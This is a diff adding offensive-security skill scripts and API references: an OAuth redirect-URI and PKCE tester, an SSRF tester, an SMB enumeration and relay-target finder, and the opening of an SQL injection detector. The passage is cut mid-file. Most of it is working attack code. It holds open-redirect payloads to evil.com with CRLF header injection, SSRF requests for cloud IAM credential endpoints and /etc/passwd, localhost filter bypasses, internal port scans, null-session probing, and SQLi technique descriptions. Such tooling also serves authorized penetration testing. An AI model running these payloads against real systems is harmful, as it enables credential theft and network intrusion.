b/skills/exploiting-oauth-misconfiguration/scripts/agent.py new file mode 100644 index 00000000..752b0ace --- /dev/null +++ b/skills/exploiting-oauth-misconfiguration/scripts/agent.py @@ -0,0 +1,232 @@ +#!/usr/bin/env python3 +# For authorized testing in lab/CTF environments only +"""OAuth 2.0 misconfiguration detection agent for testing redirect URI, state, and PKCE.""" + +import argparse +import json +import logging +import sys +import urllib.parse +from typing import List + +try: + import requests +except ImportError: + sys.exit("requests is required: pip install requests") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def discover_oidc_config(base_url: str) -> dict: + """Discover OpenID Connect / OAuth configuration endpoints.""" + endpoints = [ + "/.well-known/openid-configuration", + "/.well-known/oauth-authorization-server", + ] + for ep in endpoints: + try: + resp = requests.get(f"{base_url}{ep}", timeout=10, verify=False) + if resp.status_code == 200: + config = resp.json() + logger.info("OIDC config found at %s%s", base_url, ep) + return config + except (requests.RequestException, ValueError): + continue + logger.warning("No OIDC configuration endpoint found") + return {} + + +def test_redirect_uri_bypasses(auth_endpoint: str, client_id: str, + legitimate_uri: str) -> List[dict]: + """Test redirect_uri validation with common bypass techniques.""" + parsed = urllib.parse.urlparse(legitimate_uri) + domain = parsed.netloc + + bypass_uris = [ + "https://evil.com", + f"https://{domain}.evil.com/callback", + f"https://{domain}@evil.com/callback", + f"https://evil.com/.{domain}", + f"https://{domain}/callback/../../../evil.com", + f"https://{domain}/callback?next=https://evil.com", + f"https://{domain.upper()}/callback", + f"http://{domain}/callback", + f"https://{domain}/CALLBACK", + f"https://{domain}/callback%0d%0aLocation:https://evil.com", + ] + + results = [] + for uri in bypass_uris: + params = { + "response_type": "code", + "client_id": client_id, + "redirect_uri": uri, + "scope": "openid", + "state": "test123", + } + try: + resp = requests.get(auth_endpoint, params=params, timeout=10, + allow_redirects=False, verify=False) + accepted = resp.status_code in (302, 301, 200) + location = resp.headers.get("Location", "") + results.append({ + "redirect_uri": uri, + "status_code": resp.status_code, + "accepted": accepted, + "redirected_to": location[:120] if location else "", + }) + if accepted: + logger.warning("Redirect URI bypass accepted: %s", uri) + except requests.RequestException as exc: + results.append({"redirect_uri": uri, "error": str(exc)}) + + return results + + +def test_state_parameter(auth_endpoint: str, client_id: str, + redirect_uri: str) -> dict: + """Test if the state parameter is required and validated.""" + params = { + "response_type": "code", + "client_id": client_id, + "redirect_uri": redirect_uri, + "scope": "openid", + } + resp = requests.get(auth_endpoint, params=params, timeout=10, + allow_redirects=False, verify=False) + no_state_accepted = resp.status_code in (302, 301, 200) + + params["state"] = "aaaa" + resp2 = requests.get(auth_endpoint, params=params, timeout=10, + allow_redirects=False, verify=False) + + return { + "state_required": not no_state_accepted, + "no_state_status": resp.status_code, + "predictable_state_status": resp2.status_code, + "csrf_risk": no_state_accepted, + } + + +def test_pkce_requirement(auth_endpoint: str, client_id: str, + redirect_uri: str) -> dict: + """Test if PKCE (code_challenge) is required.""" + params = { + "response_type": "code", + "client_id": client_id, + "redirect_uri": redirect_uri, + "scope": "openid", + "state": "pkce_test", + } + resp_no_pkce = requests.get(auth_endpoint, params=params, timeout=10, + allow_redirects=False, verify=False) + + import hashlib, base64, os + verifier = base64.urlsafe_b64encode(os.urandom(32)).rstrip(b"=").decode() + challenge = base64.urlsafe_b64encode( + hashlib.sha256(verifier.encode()).digest() + ).rstrip(b"=").decode() + params["code_challenge"] = challenge + params["code_challenge_method"] = "S256" + resp_with_pkce = requests.get(auth_endpoint, params=params, timeout=10, + allow_redirects=False, verify=False) + + return { + "pkce_required": resp_no_pkce.status_code >= 400, + "without_pkce_status": resp_no_pkce.status_code, + "with_pkce_status": resp_with_pkce.status_code, + "risk": "HIGH" if resp_no_pkce.status_code < 400 else "LOW", + } + + +def test_code_reuse(token_endpoint: str, auth_code: str, client_id: str, + client_secret: str, redirect_uri: str) -> dict: + """Test if authorization codes can be reused.""" + data = { + "grant_type": "authorization_code", + "code": auth_code, + "redirect_uri": redirect_uri, + "client_id": client_id, + "client_secret": client_secret, + } + resp1 = requests.post(token_endpoint, data=data, timeout=10, verify=False) + resp2 = requests.post(token_endpoint, data=data, timeout=10, verify=False) + + return { + "first_exchange_status": resp1.status_code, + "second_exchange_status": resp2.status_code, + "code_reusable": resp2.status_code == 200, + "risk": "MEDIUM" if resp2.status_code == 200 else "LOW", + } + + +def test_scope_escalation(auth_endpoint: str, client_id: str, + redirect_uri: str) -> dict: + """Test if additional scopes beyond authorization can be requested.""" + elevated_scopes = "openid profile email admin write delete" + params = { + "response_type": "code", + "client_id": client_id, + "redirect_uri": redirect_uri, + "scope": elevated_scopes, + "state": "scope_test", + } + resp = requests.get(auth_endpoint, params=params, timeout=10, + allow_redirects=False, verify=False) + return { + "requested_scopes": elevated_scopes, + "status_code": resp.status_code, + "accepted": resp.status_code in (302, 301, 200), + } + + +def run_assessment(config: dict, client_id: str, redirect_uri: str) -> dict: + """Run the full OAuth security assessment.""" + auth_ep = config.get("authorization_endpoint", "") + findings = [] + + redirect_tests = test_redirect_uri_bypasses(auth_ep, client_id, redirect_uri) if auth_ep else [] + bypasses = [t for t in redirect_tests if t.get("accepted")] + if bypasses: + findings.append(f"HIGH: {len(bypasses)} redirect_uri bypass(es) accepted") + + state_test = test_state_parameter(auth_ep, client_id, redirect_uri) if auth_ep else {} + if state_test.get("csrf_risk"): + findings.append("MEDIUM: State parameter not required (CSRF risk)") + + pkce_test = test_pkce_requirement(auth_ep, client_id, redirect_uri) if auth_ep else {} + if not pkce_test.get("pkce_required", True): + findings.append("HIGH: PKCE not required") + + scope_test = test_scope_escalation(auth_ep, client_id, redirect_uri) if auth_ep else {} + + return { + "oidc_config": config, + "redirect_uri_tests": redirect_tests, + "state_parameter": state_test, + "pkce": pkce_test, + "scope_escalation": scope_test, + "findings": findings, + } + + +def main(): + parser = argparse.ArgumentParser(description="OAuth Misconfiguration Assessment Agent") + parser.add_argument("--url", required=True, help="OAuth provider base URL") + parser.add_argument("--client-id", required=True, help="OAuth client ID") + parser.add_argument("--redirect-uri", required=True, help="Legitimate redirect URI") + parser.add_argument("--output", default="oauth_report.json") + args = parser.parse_args() + + config = discover_oidc_config(args.url) + report = run_assessment(config, args.client_id, args.redirect_uri) + + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-prototype-pollution-in-javascript/LICENSE b/skills/exploiting-prototype-pollution-in-javascript/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-prototype-pollution-in-javascript/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-race-condition-vulnerabilities/LICENSE b/skills/exploiting-race-condition-vulnerabilities/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-race-condition-vulnerabilities/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-server-side-request-forgery/LICENSE b/skills/exploiting-server-side-request-forgery/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-server-side-request-forgery/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-server-side-request-forgery/references/api-reference.md b/skills/exploiting-server-side-request-forgery/references/api-reference.md new file mode 100644 index 00000000..ffe86b2b --- /dev/null +++ b/skills/exploiting-server-side-request-forgery/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference: SSRF Vulnerability Assessment Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| requests | >=2.28 | HTTP client for sending SSRF payloads | + +## CLI Usage + +```bash +python scripts/agent.py \ + --url https://target.example.com/api/fetch-url \ + --param url \ + --auth "Bearer TOKEN" \ + --output ssrf_report.json +``` + +## Functions + +### `test_ssrf_endpoint(target_url, param_name, payload_url, method, auth_header) -> dict` +Sends a single SSRF payload and checks the response for success indicators. + +### `test_cloud_metadata(target_url, param_name, auth_header) -> list` +Tests SSRF against AWS IMDSv1, GCP, Azure, and DigitalOcean metadata endpoints. + +### `test_localhost_bypasses(target_url, param_name, auth_header) -> list` +Tests 9 localhost encoding bypasses: octal, hex, decimal, IPv6, short form, wildcard DNS. + +### `test_protocol_schemes(target_url, param_name, auth_header) -> list` +Tests `file://`, `dict://`, and `gopher://` protocol handlers. + +### `scan_internal_ports(target_url, param_name, internal_ip, ports, auth_header) -> list` +Uses SSRF to probe internal ports (22, 80, 3306, 5432, 6379, 8080, 9200). + +### `run_assessment(target_url, param_name, auth_header) -> dict` +Orchestrates all SSRF tests and compiles findings. + +## Cloud Metadata Endpoints + +| Provider | URL | +|----------|-----| +| AWS IMDSv1 | `http://169.254.169.254/latest/meta-data/` | +| GCP | `http://metadata.google.internal/computeMetadata/v1/` | +| Azure | `http://169.254.169.254/metadata/instance` | +| DigitalOcean | `http://169.254.169.254/metadata/v1/` | + +## Output Schema + +```json +{ + "target": "https://target.example.com/api/fetch-url", + "parameter": "url", + "cloud_metadata_tests": [{"cloud_provider": "aws_imdsv1", "status_code": 200}], + "findings": ["CRITICAL: Cloud metadata accessible via 1 endpoints"] +} +``` diff --git a/skills/exploiting-server-side-request-forgery/scripts/agent.py b/skills/exploiting-server-side-request-forgery/scripts/agent.py new file mode 100644 index 00000000..5d08e2df --- /dev/null +++ b/skills/exploiting-server-side-request-forgery/scripts/agent.py @@ -0,0 +1,184 @@ +#!/usr/bin/env python3 +# For authorized testing in lab/CTF environments only +"""SSRF vulnerability detection agent with cloud metadata and filter bypass testing.""" + +import argparse +import json +import logging +import sys +import urllib.parse +from typing import List + +try: + import requests +except ImportError: + sys.exit("requests is required: pip install requests") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +CLOUD_METADATA = { + "aws_imdsv1": "http://169.254.169.254/latest/meta-data/", + "aws_iam": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", + "gcp": "http://metadata.google.internal/computeMetadata/v1/", + "azure": "http://169.254.169.254/metadata/instance?api-version=2021-02-01", + "digitalocean": "http://169.254.169.254/metadata/v1/", +} + +LOCALHOST_BYPASSES = [ + "http://127.0.0.1/", "http://0177.0.0.1/", "http://0x7f.0.0.1/", + "http://2130706433/", "http://127.1/", "http://0/", + "http://[::1]/", "http://0.0.0.0/", "http://127.0.0.1.nip.io/", +] + +PROTOCOL_PAYLOADS = [ + "file:///etc/passwd", "file:///c:/windows/win.ini", + "dict://127.0.0.1:6379/info", +] + + +def test_ssrf_endpoint(target_url: str, param_name: str, payload_url: str, + method: str = "POST", auth_header: str = "") -> dict: + """Send an SSRF payload to a target endpoint and analyze the response.""" + headers = {"Content-Type": "application/json"} + if auth_header: + headers["Authorization"] = auth_header + + data = {param_name: payload_url} + try: + if method.upper() == "POST": + resp = requests.post(target_url, json=data, headers=headers, + timeout=10, verify=False) + else: + resp = requests.get(target_url, params=data, headers=headers, + timeout=10, verify=False) + return { + "payload": payload_url, + "status_code": resp.status_code, + "content_length": len(resp.content), + "response_preview": resp.text[:200], + "success_indicators": _check_success(resp.text, payload_url), + } + except requests.RequestException as exc: + return {"payload": payload_url, "error": str(exc)} + + +def _check_success(response_text: str, payload: str) -> List[str]: + """Check response for indicators of successful SSRF.""" + indicators = [] + checks = { + "aws_metadata": ["ami-id", "instance-id", "security-credentials", "iam"], + "gcp_metadata": ["computeMetadata", "project-id", "service-accounts"], + "azure_metadata": ["vmId", "subscriptionId", "resourceGroupName"], + "local_file": ["root:", "/bin/bash", "[extensions]", "for 16-bit"], + "internal_service": ["redis_version", "elasticsearch", "Jenkins"], + } + for name, keywords in checks.items(): + if any(kw.lower() in response_text.lower() for kw in keywords): + indicators.append(name) + return indicators + + +def test_cloud_metadata(target_url: str, param_name: str, + auth_header: str = "") -> List[dict]: + """Test SSRF against all cloud metadata endpoints.""" + results = [] + for provider, meta_url in CLOUD_METADATA.items(): + result = test_ssrf_endpoint(target_url, param_name, meta_url, + auth_header=auth_header) + result["cloud_provider"] = provider + results.append(result) + if result.get("success_indicators"): + logger.warning("SSRF to %s: indicators=%s", provider, result["success_indicators"]) + return results + + +def test_localhost_bypasses(target_url: str, param_name: str, + auth_header: str = "") -> List[dict]: + """Test localhost SSRF filter bypasses.""" + results = [] + for bypass in LOCALHOST_BYPASSES: + result = test_ssrf_endpoint(target_url, param_name, bypass, + auth_header=auth_header) + result["bypass_type"] = "localhost_encoding" + results.append(result) + return results + + +def test_protocol_schemes(target_url: str, param_name: str, + auth_header: str = "") -> List[dict]: + """Test non-HTTP protocol schemes (file://, dict://, gopher://).""" + results = [] + for payload in PROTOCOL_PAYLOADS: + result = test_ssrf_endpoint(target_url, param_name, payload, + auth_header=auth_header) + result["protocol"] = payload.split(":")[0] + results.append(result) + return results + + +def scan_internal_ports(target_url: str, param_name: str, internal_ip: str, + ports: List[int], auth_header: str = "") -> List[dict]: + """Scan internal ports via SSRF to discover services.""" + results = [] + for port in ports: + payload = f"http://{internal_ip}:{port}/" + result = test_ssrf_endpoint(target_url, param_name, payload, + auth_header=auth_header) + result["internal_ip"] = internal_ip + result["port"] = port + is_open = (result.get("status_code") == 200 and + result.get("content_length", 0) > 0 and + not result.get("error")) + result["port_likely_open"] = is_open + results.append(result) + return results + + +def run_assessment(target_url: str, param_name: str, auth_header: str = "") -> dict: + """Run complete SSRF assessment.""" + cloud = test_cloud_metadata(target_url, param_name, auth_header) + bypasses = test_localhost_bypasses(target_url, param_name, auth_header) + protocols = test_protocol_schemes(target_url, param_name, auth_header) + ports = scan_internal_ports(target_url, param_name, "127.0.0.1", + [22, 80, 443, 3306, 5432, 6379, 8080, 9200], auth_header) + + findings = [] + cloud_hits = [c for c in cloud if c.get("success_indicators")] + if cloud_hits: + findings.append(f"CRITICAL: Cloud metadata accessible via {len(cloud_hits)} endpoints") + bypass_hits = [b for b in bypasses if b.get("status_code") == 200 and b.get("content_length", 0) > 50] + if bypass_hits: + findings.append(f"HIGH: {len(bypass_hits)} localhost filter bypass(es) successful") + protocol_hits = [p for p in protocols if p.get("success_indicators")] + if protocol_hits: + findings.append(f"HIGH: Non-HTTP protocols accepted ({', '.join(p['protocol'] for p in protocol_hits)})") + + return { + "target": target_url, + "parameter": param_name, + "cloud_metadata_tests": cloud, + "localhost_bypasses": bypasses, + "protocol_tests": protocols, + "internal_port_scan": ports, + "findings": findings, + } + + +def main(): + parser = argparse.ArgumentParser(description="SSRF Vulnerability Assessment Agent") + parser.add_argument("--url", required=True, help="Target URL with SSRF-prone endpoint") + parser.add_argument("--param", default="url", help="Parameter name accepting URLs") + parser.add_argument("--auth", default="", help="Authorization header value") + parser.add_argument("--output", default="ssrf_report.json") + args = parser.parse_args() + + report = run_assessment(args.url, args.param, args.auth) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-smb-vulnerabilities-with-metasploit/LICENSE b/skills/exploiting-smb-vulnerabilities-with-metasploit/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-smb-vulnerabilities-with-metasploit/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-smb-vulnerabilities-with-metasploit/references/api-reference.md b/skills/exploiting-smb-vulnerabilities-with-metasploit/references/api-reference.md new file mode 100644 index 00000000..37db9360 --- /dev/null +++ b/skills/exploiting-smb-vulnerabilities-with-metasploit/references/api-reference.md @@ -0,0 +1,62 @@ +# API Reference: SMB Vulnerability Assessment Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| impacket | >=0.11.0 | SMB connection, negotiation, share enumeration | + +## CLI Usage + +```bash +python scripts/agent.py \ + --targets 10.10.0.0/24 \ + --username testuser --password 'P@ss' --domain CORP \ + --output smb_report.json +``` + +## Functions + +### `check_smb_port(target, port, timeout) -> bool` +TCP connect check on port 445. + +### `enumerate_smb(target, username, password, domain) -> dict` +Connects via `SMBConnection`, checks signing status, enumerates OS info and shares. Tests null session if no credentials provided. + +### `scan_network(targets, username, password, domain) -> list` +Iterates over targets calling `enumerate_smb` on each. + +### `find_relay_targets(results) -> list` +Returns IPs where `isSigningRequired()` returns `False` (vulnerable to NTLM relay). + +### `check_null_sessions(results) -> list` +Returns IPs accepting anonymous SMB connections. + +### `expand_cidr(cidr) -> list` +Expands CIDR notation to individual host IPs using `ipaddress.ip_network`. + +### `generate_report(results) -> dict` +Compiles findings: signing status, null sessions, accessible shares, risk summary. + +## Impacket SMBConnection Methods + +| Method | Purpose | +|--------|---------| +| `SMBConnection(host, host)` | Initialize SMB connection | +| `negotiateSession()` | Negotiate SMB dialect | +| `isSigningRequired()` | Check if message signing is enforced | +| `login(user, pass, domain)` | Authenticate with credentials | +| `listShares()` | Enumerate available SMB shares | +| `getServerOS()` | Retrieve OS version string | + +## Output Schema + +```json +{ + "smb_hosts_found": 15, + "signing_disabled_hosts": ["10.10.0.5", "10.10.0.12"], + "null_session_hosts": ["10.10.0.5"], + "accessible_shares": [{"host": "10.10.0.5", "share": "Users"}], + "findings": ["HIGH: 2/15 hosts have SMB signing disabled"] +} +``` diff --git a/skills/exploiting-smb-vulnerabilities-with-metasploit/scripts/agent.py b/skills/exploiting-smb-vulnerabilities-with-metasploit/scripts/agent.py new file mode 100644 index 00000000..b9b83cef --- /dev/null +++ b/skills/exploiting-smb-vulnerabilities-with-metasploit/scripts/agent.py @@ -0,0 +1,178 @@ +#!/usr/bin/env python3 +# For authorized testing in lab/CTF environments only +"""SMB vulnerability assessment agent using Impacket for enumeration and signing checks.""" + +import argparse +import json +import logging +import sys +from datetime import datetime +from typing import List + +try: + from impacket.smbconnection import SMBConnection + from impacket.nmb import NetBIOSTimeout + from impacket import smbconnection +except ImportError: + sys.exit("impacket is required: pip install impacket") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def check_smb_port(target: str, port: int = 445, timeout: int = 5) -> bool: + """Check if SMB port is open on the target.""" + import socket + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + s.connect((target, port)) + s.close() + return True + except (socket.timeout, ConnectionRefusedError, OSError): + return False + + +def enumerate_smb(target: str, username: str = "", password: str = "", + domain: str = "") -> dict: + """Enumerate SMB service information on a target host.""" + result = { + "target": target, + "port_open": check_smb_port(target), + "os_info": "", + "smb_version": "", + "signing_required": True, + "shares": [], + "error": None, + } + if not result["port_open"]: + result["error"] = "SMB port 445 not reachable" + return result + + try: + smb = SMBConnection(target, target, sess_port=445, timeout=10) + smb.negotiateSession() + result["signing_required"] = smb.isSigningRequired() + result["smb_version"] = f"SMBv{smb.getDialect()}" + + if username: + smb.login(username, password, domain) + result["os_info"] = smb.getServerOS() + shares = smb.listShares() + for share in shares: + share_name = share["shi1_netname"][:-1] + share_type = share["shi1_type"] + result["shares"].append({ + "name": share_name, + "type": share_type, + "remark": share["shi1_remark"][:-1] if share["shi1_remark"] else "", + }) + smb.logoff() + else: + try: + smb.login("", "") + result["null_session"] = True + shares = smb.listShares() + for share in shares: + result["shares"].append({"name": share["shi1_netname"][:-1]}) + smb.logoff() + except Exception: + result["null_session"] = False + + smb.close() + except Exception as exc: + result["error"] = str(exc) + logger.warning("SMB enum failed on %s: %s", target, exc) + + return result + + +def scan_network(targets: List[str], username: str = "", password: str = "", + domain: str = "") -> List[dict]: + """Scan multiple targets for SMB services.""" + results = [] + for target in targets: + logger.info("Scanning %s...", target) + info = enumerate_smb(target, username, password, domain) + results.append(info) + return results + + +def find_relay_targets(results: List[dict]) -> List[str]: + """Identify hosts where SMB signing is not required (relay targets).""" + targets = [r["target"] for r in results if not r.get("signing_required", True) and r["port_open"]] + logger.info("Found %d SMB relay targets (signing disabled)", len(targets)) + return targets + + +def check_null_sessions(results: List[dict]) -> List[str]: + """Identify hosts accepting null SMB sessions.""" + return [r["target"] for r in results if r.get("null_session")] + + +def generate_report(results: List[dict]) -> dict: + """Generate SMB vulnerability assessment report.""" + smb_hosts = [r for r in results if r["port_open"]] + relay_targets = find_relay_targets(results) + null_hosts = check_null_sessions(results) + + findings = [] + if relay_targets: + findings.append( + f"HIGH: {len(relay_targets)}/{len(smb_hosts)} hosts have SMB signing disabled" + ) + if null_hosts: + findings.append( + f"MEDIUM: {len(null_hosts)} hosts accept null SMB sessions" + ) + + all_shares = [] + for r in smb_hosts: + for s in r.get("shares", []): + all_shares.append({"host": r["target"], "share": s["name"]}) + + return { + "assessment_date": datetime.utcnow().isoformat(), + "total_targets_scanned": len(results), + "smb_hosts_found": len(smb_hosts), + "signing_disabled_hosts": relay_targets, + "null_session_hosts": null_hosts, + "accessible_shares": all_shares, + "findings": findings, + } + + +def expand_cidr(cidr: str) -> List[str]: + """Expand a CIDR range to individual IPs (supports /24 and smaller).""" + import ipaddress + try: + network = ipaddress.ip_network(cidr, strict=False) + return [str(ip) for ip in network.hosts()] + except ValueError: + return [cidr] + + +def main(): + parser = argparse.ArgumentParser(description="SMB Vulnerability Assessment Agent") + parser.add_argument("--targets", nargs="+", required=True, help="Target IPs or CIDR ranges") + parser.add_argument("--username", default="", help="Domain username") + parser.add_argument("--password", default="", help="Password") + parser.add_argument("--domain", default="", help="Domain name") + parser.add_argument("--output", default="smb_report.json") + args = parser.parse_args() + + all_targets = [] + for t in args.targets: + all_targets.extend(expand_cidr(t)) + + results = scan_network(all_targets, args.username, args.password, args.domain) + report = generate_report(results) + + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-sql-injection-vulnerabilities/LICENSE b/skills/exploiting-sql-injection-vulnerabilities/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-sql-injection-vulnerabilities/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md b/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md new file mode 100644 index 00000000..018d61e2 --- /dev/null +++ b/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md @@ -0,0 +1,60 @@ +# API Reference: SQL Injection Detection Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| requests | >=2.28 | HTTP client for injection payload delivery | + +## CLI Usage + +```bash +python scripts/agent.py \ + --url "https://target.example.com/products" \ + --param id --method GET \ + --output sqli_report.json +``` + +## Functions + +### `detect_error_based(url, param, method, headers) -> dict` +Injects `'` and matches response against SQL error patterns for MySQL, PostgreSQL, MSSQL, Oracle, SQLite. + +### `detect_boolean_based(url, param, method, headers) -> dict` +Compares response lengths for `AND 1=1` (true) vs `AND 1=2` (false) against a baseline. + +### `detect_time_based(url, param, method, headers, delay) -> dict` +Tests `SLEEP()`, `pg_sleep()`, and `WAITFOR DELAY` payloads. Measures response time against target delay. + +### `detect_union_columns(url, param, method, headers, max_cols) -> dict` +Increments `ORDER BY N` until error to determine column count for UNION injection. + +### `fingerprint_database(url, param, method, headers) -> dict` +Tries `@@version` and `version()` via UNION SELECT to identify the database engine. + +### `run_assessment(url, param, method) -> dict` +Runs all detection techniques and compiles findings. + +## SQL Error Signatures + +| Database | Pattern | +|----------|---------| +| MySQL | `SQL syntax.*MySQL`, `Warning.*mysql_` | +| PostgreSQL | `ERROR:\s+syntax error`, `PSQLException` | +| MSSQL | `SQL Server.*Driver`, `SQLServerException` | +| Oracle | `ORA-\d{5}` | +| SQLite | `SQLite\.Exception` | + +## Output Schema + +```json +{ + "target": "https://target.example.com/products", + "parameter": "id", + "injectable": true, + "error_based": {"injectable": true, "database": "mysql"}, + "boolean_based": {"injectable": true}, + "time_based": {"injectable": false}, + "findings": ["CRITICAL: Error-based SQLi confirmed (DB: mysql)"] +} +``` diff --git a/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py b/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py new file mode 100644 index 00000000..a8de7159 --- /dev/null +++ b/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py @@ -0,0 +1,196 @@ +#!/usr/bin/env python3 +# For authorized testing in lab/CTF environments only +"""SQL injection detection agent using requests for manual technique-based testing.""" + +import argparse +import json +import logging +import sys +import time +import re +from typing import List, Optional + +try: + import requests +except ImportError: + sys.exit("requests is required: pip install requests") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = 